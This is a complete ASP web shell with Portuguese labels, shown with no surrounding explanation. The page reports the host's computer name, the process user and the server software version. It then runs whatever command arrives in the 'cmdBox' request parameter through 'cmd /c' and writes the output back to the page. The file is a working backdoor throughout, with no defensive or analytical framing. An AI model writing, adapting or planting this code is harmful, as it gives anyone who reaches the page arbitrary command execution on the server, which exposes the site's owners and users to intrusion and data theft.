<% Set ObjectNetwort = Server.CreateObject("WSCRIPT.NETWORK") Function MyCmd(sn0wCm) Dim set1, set2 Set set1 = CreateObject("WScript.Shell") Set set2 = set1.exec(sn0wCm) MyCmd = set2.StdOut.ReadAll end Function %>

 
Nome do Computador:
<%= ObjectNetwort.ComputerName %>

Usuario do Processo da WebShell:
<%= ObjectNetwort.UserName %>

Versao do Servidor:
<%Response.Write(Request.ServerVariables("server_software"))%>

Prompt de Retorno (Se esta em branco eh porque faltou voce digitar o comando ^/^ ):
<% Sn0wCmd = request("cmdBox")
MyVar = MyCmd("cmd /c" & Sn0wCmd)
Response.Write(MyVar)%>